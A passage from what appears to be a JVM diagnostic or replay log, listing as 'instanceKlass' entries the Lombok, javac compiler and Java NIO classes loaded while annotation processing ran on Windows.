lombok/javac/handlers/JavacHandlerUtil$ClassSymbolMembersField\ninstanceKlass lombok/RequiredArgsConstructor$AnyAnnotation\ninstanceKlass lombok/javac/handlers/HandleLog\ninstanceKlass lombok/core/handlers/LoggingFramework\ninstanceKlass lombok/javac/handlers/JavacHandlerUtil$CopyJavadoc$6\ninstanceKlass lombok/Setter$AnyAnnotation\ninstanceKlass lombok/javac/Javac$JavadocOps_8$1\ninstanceKlass lombok/core/configuration/ConfigurationSource\ninstanceKlass com/sun/tools/javac/tree/Pretty$1\ninstanceKlass com/sun/tools/javac/code/DeferredCompletionFailureHandler$DeferredCompleter\ninstanceKlass com/sun/tools/javac/comp/Annotate$AnnotationContext\ninstanceKlass lombok/javac/handlers/JavacHandlerUtil$EnterReflect\ninstanceKlass lombok/core/CleanupRegistry$CleanupKey\ninstanceKlass lombok/javac/handlers/JavacHandlerUtil$CopyJavadoc$2$1\ninstanceKlass lombok/javac/Javac$JavadocOps_8\ninstanceKlass lombok/core/CleanupTask\ninstanceKlass lombok/core/AnnotationValues$1\ninstanceKlass lombok/delombok/FormatPreferences\ninstanceKlass lombok/delombok/LombokOptionsFactory\ninstanceKlass lombok/core/configuration/AllowHelper\ninstanceKlass java/util/regex/Pattern$$Lambda$335\ninstanceKlass lombok/experimental/FieldDefaults\ninstanceKlass lombok/core/handlers/HandlerUtil\ninstanceKlass lombok/core/AnnotationValues\ninstanceKlass lombok/core/AnnotationValues$AnnotationValue\ninstanceKlass lombok/Getter$AnyAnnotation\ninstanceKlass lombok/core/FieldAugment\ninstanceKlass lombok/javac/JavacAugments\ninstanceKlass lombok/core/TypeResolver\ninstanceKlass lombok/core/LombokImmutableList$1\ninstanceKlass lombok/core/AST$FieldAccess\ninstanceKlass lombok/javac/JavacImportList\ninstanceKlass lombok/javac/PackageName\ninstanceKlass lombok/core/configuration/FileSystemSourceCache$Content\ninstanceKlass lombok/core/configuration/ConfigurationFile\ninstanceKlass lombok/core/configuration/BubblingConfigurationResolver\ninstanceKlass lombok/core/LombokConfiguration$3\ninstanceKlass lombok/core/configuration/FileSystemSourceCache$1\ninstanceKlass lombok/core/configuration/ConfigurationProblemReporter$1\ninstanceKlass lombok/core/configuration/ConfigurationProblemReporter\ninstanceKlass lombok/core/configuration/ConfigurationParser\ninstanceKlass lombok/core/configuration/ConfigurationFileToSource\ninstanceKlass lombok/core/configuration/FileSystemSourceCache\ninstanceKlass lombok/core/LombokConfiguration$1\ninstanceKlass lombok/core/configuration/ConfigurationResolverFactory\ninstanceKlass lombok/core/configuration/ConfigurationResolver\ninstanceKlass lombok/core/LombokConfiguration\ninstanceKlass sun/nio/fs/WindowsUriSupport\ninstanceKlass lombok/core/ImportList\ninstanceKlass lombok/javac/JavacAST$ErrorLog\ninstanceKlass java/util/IdentityHashMap$EntryIterator$Entry\ninstanceKlass com/sun/tools/javac/model/JavacElements$1\ninstanceKlass javax/annotation/processing/SupportedOptions\ninstanceKlass com/sun/tools/javac/util/MatchingUtils\ninstanceKlass javax/annotation/processing/SupportedAnnotationTypes\ninstanceKlass lombok/javac/HandlerLibrary$VisitorContainer\ninstanceKlass lombok/experimental/WithBy\ninstanceKlass lombok/With\ninstanceKlass lombok/Value\ninstanceKlass lombok/javac/JavacASTAdapter\ninstanceKlass lombok/experimental/UtilityClass\ninstanceKlass lombok/ToString\ninstanceKlass lombok/Synchronized\ninstanceKlass lombok/experimental/SuperBuilder\ninstanceKlass lombok/javac/handlers/JavacSingularsRecipes$StatementMaker\ninstanceKlass lombok/javac/handlers/JavacSingularsRecipes$ExpressionMaker\ninstanceKlass lombok/javac/handlers/HandleBuilder$BuilderJob\ninstanceKlass lombok/experimental/StandardException\ninstanceKlass lombok/SneakyThrows\ninstanceKlass lombok/Singular\ninstanceKlass lombok/Setter\ninstanceKlass lombok/core/PrintAST\ninstanceKlass lombok/NonNull\ninstanceKlass lombok/extern/slf4j/XSlf4j\ninstanceKlass lombok/extern/slf4j/Slf4j\ninstanceKlass lombok/extern/log4j/Log4j\ninstanceKlass lombok/extern/log4j/Log4j2\ninstanceKlass lombok/extern/java/Log\ninstanceKlass lombok/extern/jbosslog/JBossLog\ninstanceKlass lombok/extern/flogger/Flogger\ninstanceKlass lombok/CustomLog\ninstanceKlass lombok/extern/apachecommons/CommonsLog\ninstanceKlass lombok/extern/jackson/Jacksonized\ninstanceKlass lombok/experimental/Helper\ninstanceKlass lombok/Getter\ninstanceKlass lombok/experimental/FieldNameConstants\ninstanceKlass lombok/core/LombokImmutableList\ninstanceKlass lombok/core/JavaIdentifiers\ninstanceKlass lombok/experimental/ExtensionMethod\ninstanceKlass lombok/EqualsAndHashCode\ninstanceKlass lombok/experimental/Delegate\ninstanceKlass lombok/Data\ninstanceKlass lombok/RequiredArgsConstructor\ninstanceKlass lombok/NoArgsConstructor\ninstanceKlass lombok/AllArgsConstructor\ninstanceKlass lombok/Cleanup\ninstanceKlass lombok/Builder$Default\ninstanceKlass lombok/Builder\ninstanceKlass lombok/javac/handlers/HandleConstructor\ninstanceKlass lombok/core/LombokInternalAliasing\ninstanceKlass lombok/core/AlreadyHandledAnnotations\ninstanceKlass lombok/javac/ResolutionResetNeeded\ninstanceKlass lombok/core/HandlerPriority\ninstanceKlass lombok/javac/HandlerLibrary$AnnotationHandlerContainer\ninstanceKlass lombok/experimental/Accessors\ninstanceKlass lombok/javac/JavacAnnotationHandler\ninstanceKlass lombok/core/SpiLoadUtil$1$1\ninstanceKlass lombok/core/SpiLoadUtil$1\ninstanceKlass java/util/Vector$1\ninstanceKlass lombok/core/SpiLoadUtil\ninstanceKlass lombok/core/configuration/ConfigurationKeysLoader\ninstanceKlass lombok/core/configuration/CheckerFrameworkVersion\ninstanceKlass lombok/core/configuration/TypeName\ninstanceKlass lombok/core/configuration/LogDeclaration\ninstanceKlass lombok/core/configuration/IdentifierName\ninstanceKlass lombok/core/configuration/ConfigurationDataType$6\ninstanceKlass lombok/core/configuration/ConfigurationDataType$7\ninstanceKlass lombok/core/configuration/NullAnnotationLibrary\ninstanceKlass lombok/core/configuration/ConfigurationValueType\ninstanceKlass lombok/core/configuration/ConfigurationDataType$5\ninstanceKlass lombok/core/configuration/ConfigurationDataType$4\ninstanceKlass lombok/core/configuration/ConfigurationDataType$3\ninstanceKlass lombok/core/configuration/ConfigurationDataType$2\ninstanceKlass lombok/core/configuration/ConfigurationDataType$1\ninstanceKlass lombok/core/configuration/ConfigurationValueParser\ninstanceKlass lombok/core/configuration/ConfigurationDataType\ninstanceKlass lombok/core/configuration/ConfigurationKey\ninstanceKlass lombok/ConfigurationKeys\ninstanceKlass lombok/core/configuration/ConfigurationKeysLoader$LoaderLoader\ninstanceKlass lombok/core/TypeLibrary\ninstanceKlass lombok/javac/HandlerLibrary\ninstanceKlass lombok/javac/JavacASTVisitor\ninstanceKlass lombok/javac/JavacTransformer\ninstanceKlass java/text/BreakIterator\ninstanceKlass com/sun/source/util/DocTreePath\ninstanceKlass com/sun/tools/javac/api/JavacScope\ninstanceKlass com/sun/source/util/TreePath\ninstanceKlass lombok/core/AST\ninstanceKlass lombok/core/LombokNode\ninstanceKlass lombok/javac/handlers/JavacHandlerUtil\ninstanceKlass lombok/javac/JavacTreeMaker$FieldId\ninstanceKlass lombok/javac/JavacTreeMaker$MethodId\ninstanceKlass lombok/javac/JavacTreeMaker\ninstanceKlass javax/lang/model/type/TypeVisitor\ninstanceKlass lombok/javac/JavacTreeMaker$SchroedingerType\ninstanceKlass lombok/javac/Javac\ninstanceKlass lombok/javac/apt/Java9Compiler\ninstanceKlass lombok/javac/apt/LombokFileObjects$Compiler\ninstanceKlass lombok/javac/apt/LombokFileObject\ninstanceKlass lombok/javac/apt/LombokFileObjects\ninstanceKlass lombok/javac/apt/MessagerDiagnosticsReceiver\ninstanceKlass javax/tools/ForwardingJavaFileManager\ninstanceKlass lombok/permit/dummy/Parent\ninstanceKlass java/lang/Class$EnclosingMethodInfo\ninstanceKlass lombok/core/CleanupRegistry\ninstanceKlass lombok/permit/Permit\ninstanceKlass lombok/core/DiagnosticsReceiver\ninstanceKlass lombok/launch/AnnotationProcessorHider$AstModificationNotifierData\ninstanceKlass lombok/core/AnnotationProcessor$ProcessorDescriptor\ninstanceKlass lombok/launch/ClassFileMetaData\ninstanceKlass java/util/zip/ZipFile$ZipEntryIterator\ninstanceKlass java/util/jar/JarFile$$Lambda$334\ninstanceKlass java/net/URLEncoder\ninstanceKlass java/net/URLDecoder\ninstanceKlass lombok/launch/PackageShader\ninstanceKlass lombok/launch/Main\ninstanceKlass com/sun/tools/javac/processing/JavacProcessingEnvironment$ProcessorState\ninstanceKlass com/sun/tools/javac/processing/JavacRoundEnvironment\ninstanceKlass javax/lang/model/util/AbstractElementVisitor6\ninstanceKlass javax/lang/model/element/ElementVisitor\ninstanceKlass com/sun/tools/javac/processing/JavacProcessingEnvironment$Round\ninstanceKlass com/sun/tools/javac/code/TypeAnnotationPosition$TypePathEntry\ninstanceKlass com/sun/tools/javac/code/TypeAnnotations$$Lambda$333\ninstanceKlass com/sun/tools/javac/code/TypeAnnotations$$Lambda$332\ninstanceKlass com/sun/tools/javac/code/TypeAnnotations$$Lambda$331\ninstanceKlass com/sun/tools/javac/code/TypeAnnotations$1\ninstanceKlass com/sun/tools/javac/code/TypeAnnotationPosition\ninstanceKlass com/sun/tools/javac/code/Types$TypePair\ninstanceKlass com/sun/tools/javac/code/Symtab$$Lambda$330\ninstanceKlass com/sun/tools/javac/code/Types$UniqueType\ninstanceKlass com/sun/tools/javac/code/Flags\ninstanceKlass com/sun/tools/javac/comp/Resolve$MethodResolutionContext$Candidate\ninstanceKlass com/sun/tools/javac/code/Types$ImplementationCache$Entry\ninstanceKlass com/sun/tools/javac/code/Types$$Lambda$329\ninstanceKlass com/sun/tools/javac/comp/Resolve$LookupFilter\ninstanceKlass com/sun/tools/javac/comp/Resolve$5\ninstanceKlass com/sun/tools/javac/comp/Resolve$$Lambda$328\ninstanceKlass com/sun/tools/javac/comp/Resolve$MethodResolutionContext\ninstanceKlass com/sun/tools/javac/code/Types$25\ninstanceKlass com/sun/tools/javac/tree/TreeMaker$1\ninstanceKlass com/sun/tools/javac/jvm/ClassReader$ParameterAnnotations\ninstanceKlass com/sun/tools/javac/comp/Annotate$$Lambda$327\ninstanceKlass com/sun/tools/javac/comp/Annotate$$Lambda$326\ninstanceKlass com/sun/tools/javac/code/Types$TypeMapping$$Lambda$325\ninstanceKlass com/sun/tools/javac/code/Symbol$VarSymbol$$Lambda$324\ninstanceKlass com/sun/tools/javac/comp/TypeEnter$1\ninstanceKlass com/sun/tools/javac/comp/Check$$Lambda$323\ninstanceKlass com/sun/tools/javac/comp/Check$$Lambda$322\ninstanceKlass com/sun/tools/javac/comp/TypeEnter$$Lambda$321\ninstanceKlass com/sun/tools/javac/code/TypeAnnotations$$Lambda$320\ninstanceKlass com/sun/tools/javac/code/TypeAnnotations$$Lambda$319\ninstanceKlass com/sun/tools/javac/util/Iterators$2\ninstanceKlass com/sun/tools/javac/code/Scope$FilterImportScope$$Lambda$318\ninstanceKlass com/sun/tools/javac/code/Scope$FilterImportScope$$Lambda$317\ninstanceKlass com/sun/tools/javac/code/Scope$FilterImportScope$$Lambda$316\ninstanceKlass com/sun/tools/javac/code/Scope$CompoundScope$$Lambda$315\ninstanceKlass com/sun/tools/javac/code/Scope$CompoundScope$$Lambda$314\ninstanceKlass com/sun/tools/javac/comp/Annotate$$Lambda$313\ninstanceKlass com/sun/tools/javac/comp/Annotate$$Lambda$312\ninstanceKlass com/sun/tools/javac/comp/Annotate$$Lambda$311\ninstanceKlass com/sun/tools/javac/code/SymbolMetadata\ninstanceKlass com/sun/tools/javac/code/Scope$NamedImportScope$$Lambda$310\ninstanceKlass com/sun/tools/javac/code/Scope$NamedImportScope$$Lambda$309\ninstanceKlass com/sun/tools/javac/code/Scope$ScopeImpl$$Lambda$308\ninstanceKlass com/sun/tools/javac/jvm/ClassReader$CompleterDeproxy\ninstanceKlass com/sun/tools/javac/jvm/ClassReader$AnnotationDeproxy\ninstanceKlass com/sun/tools/javac/jvm/ClassReader$ProxyVisitor\ninstanceKlass com/sun/tools/javac/code/TypeTag$1\ninstanceKlass com/sun/tools/javac/jvm/ClassReader$26\ninstanceKlass com/sun/tools/javac/jvm/Code$1\ninstanceKlass com/sun/tools/javac/jvm/ClassReader$SourceFileObject\ninstanceKlass com/sun/tools/javac/code/ClassFinder$$Lambda$307\ninstanceKlass java/nio/file/FileTreeWalker$1\ninstanceKlass com/sun/tools/javac/comp/Attr$10\ninstanceKlass com/sun/tools/javac/code/Scope$FilterImportScope$SymbolImporter\ninstanceKlass jdk/internal/jrtfs/JrtFileAttributes\ninstanceKlass java/util/stream/StreamSpliterators$WrappingSpliterator$$Lambda$306\ninstanceKlass java/util/function/BooleanSupplier\ninstanceKlass java/util/stream/StreamSpliterators$WrappingSpliterator$$Lambda$305\ninstanceKlass java/util/stream/AbstractSpinedBuffer\ninstanceKlass jdk/internal/jrtfs/JrtDirectoryStream$1\ninstanceKlass java/util/stream/StreamSpliterators$AbstractWrappingSpliterator\ninstanceKlass java/util/stream/AbstractPipeline$$Lambda$304\ninstanceKlass jdk/internal/jrtfs/JrtFileSystem$$Lambda$303\ninstanceKlass jdk/internal/jrtfs/JrtFileSystem$$Lambda$302\ninstanceKlass jdk/internal/jrtfs/JrtDirectoryStream\ninstanceKlass com/sun/tools/javac/comp/TypeEnter$ImportsPhase$$Lambda$301\ninstanceKlass com/sun/tools/javac/comp/TypeEnter$ImportsPhase$$Lambda$300\ninstanceKlass com/sun/tools/javac/code/Scope$ImportFilter\ninstanceKlass com/sun/tools/javac/code/Scope$ScopeImpl$2\ninstanceKlass com/sun/tools/javac/code/Scope$ScopeImpl$$Lambda$299\ninstanceKlass com/sun/tools/javac/comp/Check$5\ninstanceKlass com/sun/tools/javac/util/Pair\ninstanceKlass com/sun/tools/javac/comp/AttrContext\ninstanceKlass com/sun/tools/javac/comp/Enter$$Lambda$298\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass com/sun/tools/javac/comp/Enter$$Lambda$297\ninstanceKlass com/sun/tools/javac/code/Scope$ScopeImpl$1\ninstanceKlass com/sun/tools/javac/code/Scope$ScopeImpl$$Lambda$296\ninstanceKlass com/sun/tools/javac/code/ClassFinder$2\ninstanceKlass java/nio/file/Files$$Lambda$295\ninstanceKlass java/nio/file/Files$2\ninstanceKlass sun/nio/fs/WindowsDirectoryStream$WindowsDirectoryIterator\ninstanceKlass jdk/nio/zipfs/JarFileSystem$$Lambda$294\ninstanceKlass jdk/nio/zipfs/JarFileSystem$$Lambda$293\ninstanceKlass sun/nio/fs/BasicFileAttributesHolder\ninstanceKlass java/nio/file/Files$3\ninstanceKlass java/nio/file/FileTreeWalker$Event\ninstanceKlass jdk/nio/zipfs/ZipDirectoryStream$1\ninstanceKlass java/nio/file/FileTreeWalker$DirectoryNode\ninstanceKlass jdk/nio/zipfs/ZipDirectoryStream\ninstanceKlass java/nio/file/Files$AcceptAllFilter\ninstanceKlass java/nio/file/FileTreeWalker\ninstanceKlass java/nio/file/SimpleFileVisitor\ninstanceKlass jdk/nio/zipfs/ZipUtils\ninstanceKlass jdk/nio/zipfs/JarFileSystem$$Lambda$292\ninstanceKlass jdk/internal/util/ArraysSupport\ninstanceKlass jdk/nio/zipfs/ZipFileSystem$END\ninstanceKlass jdk/nio/zipfs/ZipConstants\ninstanceKlass jdk/nio/zipfs/ZipPath\ninstanceKlass jdk/nio/zipfs/ZipCoder\ninstanceKlass sun/nio/fs/WindowsSecurity\ninstanceKlass sun/nio/fs/AbstractAclFileAttributeView\ninstanceKlass java/nio/file/attribute/AclFileAttributeView\ninstanceKlass java/nio/file/attribute/FileOwnerAttributeView\ninstanceKlass jdk/nio/zipfs/ZipFileSystem$$Lambda$291\ninstanceKlass jdk/nio/zipfs/ZipFileSystem$$Lambda$290\ninstanceKlass java/nio/file/PathMatcher\ninstanceKlass jdk/nio/zipfs/ZipFileAttributes\ninstanceKlass jdk/nio/zipfs/ZipFileSystem$IndexNode\ninstanceKlass java/nio/file/FileVisitor\ninstanceKlass com/sun/tools/javac/file/JavacFileManager$ArchiveContainer\ninstanceKlass com/sun/tools/javac/file/JavacFileManager$DirectoryContainer\ninstanceKlass com/sun/tools/javac/code/ClassFinder$1\ninstanceKlass com/sun/tools/javac/code/ClassFinder$$Lambda$289\ninstanceKlass com/sun/tools/javac/file/JRTIndex$CtSym\ninstanceKlass com/sun/tools/javac/file/JRTIndex$Entry\ninstanceKlass jdk/internal/jimage/ImageReader$SharedImageReader$$Lambda$288\ninstanceKlass jdk/internal/jimage/ImageReader$SharedImageReader$$Lambda$287\ninstanceKlass jdk/internal/jimage/ImageReader$SharedImageReader$LocationVisitor\ninstanceKlass com/sun/tools/javac/file/JavacFileManager$JRTImageContainer\ninstanceKlass com/sun/tools/javac/code/ClassFinder$$Lambda$286\ninstanceKlass com/sun/tools/javac/comp/Modules$$Lambda$285\ninstanceKlass com/sun/tools/javac/tree/JCTree$1\ninstanceKlass java/util/stream/Collectors$$Lambda$284\ninstanceKlass java/util/stream/Collectors$$Lambda$283\ninstanceKlass java/util/stream/Collectors$$Lambda$282\ninstanceKlass java/util/stream/Collectors$$Lambda$281\ninstanceKlass com/sun/tools/javac/parser/JavacParser$$Lambda$280\ninstanceKlass java/util/BitSet\ninstanceKlass com/sun/tools/javac/util/Position$LineMapImpl\ninstanceKlass com/sun/tools/javac/util/Position$LineMap\ninstanceKlass com/sun/tools/javac/util/Position\ninstanceKlass com/sun/tools/javac/tree/TreeMaker$$Lambda$279\ninstanceKlass com/sun/tools/javac/parser/LazyDocCommentTable$Entry\ninstanceKlass com/sun/tools/javac/tree/TreeInfo$2\ninstanceKlass com/sun/tools/javac/tree/TreeInfo\ninstanceKlass com/sun/tools/javac/parser/JavacParser$1\ninstanceKlass com/sun/tools/javac/util/IntHashTable\ninstanceKlass com/sun/tools/javac/parser/LazyDocCommentTable\ninstanceKlass com/sun/tools/javac/parser/JavaTokenizer$1\ninstanceKlass com/sun/tools/javac/parser/JavaTokenizer$BasicComment\ninstanceKlass com/sun/tools/javac/parser/JavacParser$$Lambda$278\ninstanceKlass com/sun/tools/javac/parser/JavacParser$AbstractEndPosTable\ninstanceKlass com/sun/tools/javac/parser/JavacParser$ErrorRecoveryAction\ninstanceKlass com/sun/tools/javac/tree/EndPosTable\ninstanceKlass com/sun/tools/javac/parser/JavacParser\ninstanceKlass com/sun/tools/javac/parser/UnicodeReader\ninstanceKlass java/util/regex/CharPredicates$$Lambda$277\ninstanceKlass java/util/regex/CharPredicates$$Lambda$276\ninstanceKlass jdk/internal/math/FloatingDecimal$HexFloatPattern\ninstanceKlass com/sun/tools/javac/parser/Scanner\ninstanceKlass com/sun/source/tree/LineMap\ninstanceKlass com/sun/tools/javac/file/BaseFileManager$ContentCacheEntry\ninstanceKlass com/sun/tools/javac/util/DiagnosticSource\ninstanceKlass javax/annotation/processing/AbstractProcessor\ninstanceKlass com/sun/tools/javac/processing/JavacProcessingEnvironment$DiscoveredProcessors$ProcessorStateIterator\ninstanceKlass com/sun/tools/javac/processing/JavacProcessingEnvironment$DiscoveredProcessors\ninstanceKlass com/sun/tools/javac/util/Iterators$CompoundIterator\ninstanceKlass com/sun/tools/javac/util/Iterators$1\ninstanceKlass com/sun/tools/javac/util/Iterators\ninstanceKlass com/sun/tools/javac/processing/JavacProcessingEnvironment$$Lambda$275\ninstanceKlass javax/annotation/processing/Processor\ninstanceKlass com/sun/tools/javac/processing/JavacProcessingEnvironment$ServiceIterator\ninstanceKlass com/sun/tools/javac/file/JavacFileManager$3\ninstanceKlass com/sun/tools/javac/file/JavacFileManager$$Lambda$274\ninstanceKlass javax/tools/StandardLocation$2\ninstanceKlass com/sun/tools/javac/model/JavacTypes\ninstanceKlass com/sun/tools/javac/processing/JavacMessager\ninstanceKlass com/sun/tools/javac/processing/JavacFiler\ninstanceKlass java/util/regex/Pattern$$Lambda$273\ninstanceKlass javax/annotation/processing/Messager\ninstanceKlass javax/annotation/processing/RoundEnvironment\ninstanceKlass javax/annotation/processing/Filer\ninstanceKlass com/sun/tools/javac/processing/JavacProcessingEnvironment\ninstanceKlass javax/annotation/processing/ProcessingEnvironment\ninstanceKlass com/sun/tools/javac/util/ForwardingDiagnosticFormatter$ForwardingConfiguration\ninstanceKlass com/sun/tools/javac/code/Types$DefaultSymbolVisitor\ninstanceKlass com/sun/tools/javac/util/ForwardingDiagnosticFormatter\ninstanceKlass com/sun/tools/javac/main/JavaCompiler$$Lambda$272\ninstanceKlass com/sun/tools/javac/code/ModuleFinder$ModuleNameFromSourceReader\ninstanceKlass com/sun/tools/javac/main/JavaCompiler$$Lambda$271\ninstanceKlass com/sun/tools/javac/comp/Modules$PackageNameFinder\ninstanceKlass com/sun/tools/javac/api/MultiTaskListener\ninstanceKlass com/sun/tools/javac/jvm/Code\ninstanceKlass com/sun/tools/javac/jvm/Pool\ninstanceKlass com/sun/tools/javac/jvm/StringConcat\ninstanceKlass com/sun/tools/javac/jvm/Gen$GenFinalizer\ninstanceKlass com/sun/tools/javac/jvm/Items$Item\ninstanceKlass com/sun/tools/javac/parser/JavaTokenizer\ninstanceKlass com/sun/tools/javac/parser/ScannerFactory\ninstanceKlass com/sun/tools/javac/parser/Tokens$Token\ninstanceKlass com/sun/tools/javac/parser/Tokens\ninstanceKlass com/sun/tools/javac/parser/ReferenceParser\ninstanceKlass com/sun/tools/javac/model/JavacElements\ninstanceKlass com/sun/tools/javac/tree/DocCommentTable\ninstanceKlass com/sun/source/util/DocSourcePositions\ninstanceKlass com/sun/source/doctree/DocTreeVisitor\ninstanceKlass com/sun/source/tree/Scope\ninstanceKlass com/sun/source/util/SourcePositions\ninstanceKlass com/sun/source/util/Trees\ninstanceKlass com/sun/source/doctree/UsesTree\ninstanceKlass com/sun/source/doctree/ValueTree\ninstanceKlass com/sun/source/doctree/VersionTree\ninstanceKlass com/sun/source/doctree/ProvidesTree\ninstanceKlass com/sun/source/doctree/ErroneousTree\ninstanceKlass com/sun/source/doctree/HiddenTree\ninstanceKlass com/sun/source/doctree/SerialDataTree\ninstanceKlass com/sun/source/doctree/SerialTree\ninstanceKlass com/sun/source/doctree/DocRootTree\ninstanceKlass com/sun/source/doctree/SeeTree\ninstanceKlass com/sun/source/doctree/ReturnTree\ninstanceKlass com/sun/source/doctree/DocCommentTree\ninstanceKlass com/sun/tools/javac/parser/Tokens$Comment\ninstanceKlass com/sun/source/doctree/DeprecatedTree\ninstanceKlass com/sun/source/doctree/ReferenceTree\ninstanceKlass com/sun/source/doctree/EntityTree\ninstanceKlass com/sun/source/doctree/InheritDocTree\ninstanceKlass com/sun/source/doctree/LinkTree\ninstanceKlass com/sun/source/doctree/ThrowsTree\ninstanceKlass com/sun/source/doctree/IndexTree\ninstanceKlass com/sun/source/doctree/DocTypeTree\ninstanceKlass com/sun/source/doctree/TextTree\ninstanceKlass com/sun/source/doctree/SummaryTree\ninstanceKlass com/sun/source/doctree/IdentifierTree\ninstanceKlass com/sun/source/doctree/ParamTree\ninstanceKlass com/sun/source/doctree/EndElementTree\ninstanceKlass com/sun/source/doctree/SinceTree\ninstanceKlass com/sun/source/doctree/SerialFieldTree\ninstanceKlass com/sun/source/doctree/LiteralTree\ninstanceKlass com/sun/source/doctree/AuthorTree\ninstanceKlass com/sun/source/doctree/CommentTree\ninstanceKlass com/sun/source/doctree/AttributeTree\ninstanceKlass com/sun/source/doctree/StartElementTree\ninstanceKlass com/sun/source/doctree/UnknownInlineTagTree\ninstanceKlass com/sun/source/doctree/InlineTagTree\ninstanceKlass com/sun/source/doctree/UnknownBlockTagTree\ninstanceKlass com/sun/source/doctree/BlockTagTree\ninstanceKlass com/sun/source/doctree/DocTree\ninstanceKlass com/sun/tools/javac/tree/DocTreeMaker\ninstanceKlass com/sun/source/util/DocTreeFactory\ninstanceKlass com/sun/tools/javac/parser/Lexer\ninstanceKlass com/sun/tools/javac/parser/ParserFactory\ninstanceKlass jdk/internal/jimage/ImageReader$Node\ninstanceKlass jdk/internal/jrtfs/SystemImage$2\ninstanceKlass jdk/internal/jrtfs/SystemImage$$Lambda$270\ninstanceKlass jdk/internal/jrtfs/SystemImage\ninstanceKlass jdk/internal/jrtfs/JrtPath\ninstanceKlass com/sun/tools/javac/file/JRTIndex\ninstanceKlass com/sun/tools/javac/main/DelegatingJavaFileManager\ninstanceKlass com/sun/tools/javac/jvm/ClassReader$AttributeReader\ninstanceKlass com/sun/tools/javac/comp/ConstFold\ninstanceKlass com/sun/tools/javac/comp/Analyzer$2\ninstanceKlass com/sun/tools/javac/comp/Analyzer$1\ninstanceKlass com/sun/tools/javac/comp/Analyzer$StatementAnalyzer\ninstanceKlass com/sun/tools/javac/comp/Analyzer$DeferredAnalysisHelper\ninstanceKlass com/sun/tools/javac/comp/Analyzer\ninstanceKlass com/sun/tools/javac/comp/Operators$$Lambda$269\ninstanceKlass com/sun/tools/javac/comp/Operators$$Lambda$268\ninstanceKlass com/sun/tools/javac/comp/Operators$$Lambda$267\ninstanceKlass com/sun/tools/javac/comp/Operators$BinaryNumericOperator$$Lambda$266\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass com/sun/tools/javac/comp/Operators$BinaryOperatorHelper$$Lambda$265\ninstanceKlass com/sun/tools/javac/comp/Operators$$Lambda$264\ninstanceKlass com/sun/tools/javac/comp/Operators$UnaryOperatorHelper$$Lambda$263\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorType$$Lambda$262\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorType$$Lambda$261\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorType$$Lambda$260\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorType$$Lambda$259\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorType$$Lambda$258\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorType$$Lambda$257\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorType$$Lambda$256\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorType$$Lambda$255\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorType$$Lambda$254\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorType$$Lambda$253\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorType$$Lambda$252\ninstanceKlass com/sun/tools/javac/comp/Operators$UnaryNumericOperator$$Lambda$251\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorHelper\ninstanceKlass com/sun/tools/javac/comp/Operators\ninstanceKlass com/sun/tools/javac/code/Symtab$2\ninstanceKlass com/sun/tools/javac/code/Symtab$1\ninstanceKlass com/sun/tools/javac/code/Symbol$MethodSymbol$$Lambda$250\ninstanceKlass com/sun/tools/javac/code/Symtab$$Lambda$249\ninstanceKlass com/sun/tools/javac/code/Symtab$$Lambda$248\ninstanceKlass com/sun/tools/javac/code/Symtab$$Lambda$247\ninstanceKlass com/sun/tools/javac/jvm/JNIWriter\ninstanceKlass com/sun/tools/javac/code/Types$SignatureGenerator\ninstanceKlass com/sun/tools/javac/code/Preview\ninstanceKlass com/sun/tools/javac/jvm/ClassWriter$AttributeWriter\ninstanceKlass com/sun/tools/javac/util/ByteBuffer\ninstanceKlass com/sun/tools/javac/jvm/ClassFile\ninstanceKlass com/sun/tools/javac/util/MandatoryWarningHandler\ninstanceKlass com/sun/tools/javac/code/ModuleFinder$ModuleLocationIterator\ninstanceKlass com/sun/tools/javac/code/ModuleFinder\ninstanceKlass com/sun/tools/javac/comp/Flow\ninstanceKlass com/sun/tools/javac/comp/Infer$GraphStrategy\ninstanceKlass com/sun/tools/javac/comp/InferenceContext\ninstanceKlass javax/lang/model/element/TypeParameterElement\ninstanceKlass com/sun/tools/javac/comp/Infer$AbstractIncorporationEngine\ninstanceKlass com/sun/tools/javac/code/Type$UndetVar$UndetVarListener\ninstanceKlass com/sun/tools/javac/comp/Infer\ninstanceKlass com/sun/tools/javac/util/Dependencies\ninstanceKlass com/sun/tools/javac/comp/TypeEnvs\ninstanceKlass com/sun/tools/javac/code/Lint$AugmentVisitor\ninstanceKlass com/sun/tools/javac/code/TypeAnnotations\ninstanceKlass com/sun/tools/javac/code/DeferredLintHandler$1\ninstanceKlass com/sun/tools/javac/code/DeferredLintHandler\ninstanceKlass com/sun/tools/javac/comp/TypeEnter$ImportsPhase$$Lambda$246\ninstanceKlass com/sun/tools/javac/util/GraphUtils$DependencyKind\ninstanceKlass com/sun/tools/javac/comp/TypeEnter$Phase\ninstanceKlass com/sun/tools/javac/comp/TypeEnter\ninstanceKlass com/sun/tools/javac/code/Types$$Lambda$245\ninstanceKlass com/sun/tools/javac/code/Types$CandidatesCache\ninstanceKlass com/sun/tools/javac/code/Types$ImplementationCache\ninstanceKlass com/sun/tools/javac/code/Types$3\ninstanceKlass com/sun/tools/javac/code/Types$DescriptorCache\ninstanceKlass com/sun/tools/javac/code/Types\ninstanceKlass com/sun/tools/javac/tree/TreeMaker$AnnotationBuilder\ninstanceKlass com/sun/tools/javac/code/Attribute$Visitor\ninstanceKlass com/sun/tools/javac/tree/TreeMaker\ninstanceKlass com/sun/tools/javac/tree/JCTree$Factory\ninstanceKlass com/sun/tools/javac/comp/DeferredAttr$5\ninstanceKlass com/sun/tools/javac/comp/DeferredAttr$4\ninstanceKlass com/sun/tools/javac/tree/TreeCopier\ninstanceKlass com/sun/tools/javac/comp/DeferredAttr$DeferredAttrContext\ninstanceKlass com/sun/tools/javac/comp/DeferredAttr$DeferredStuckPolicy\ninstanceKlass com/sun/tools/javac/comp/DeferredAttr$DeferredTypeCompleter\ninstanceKlass 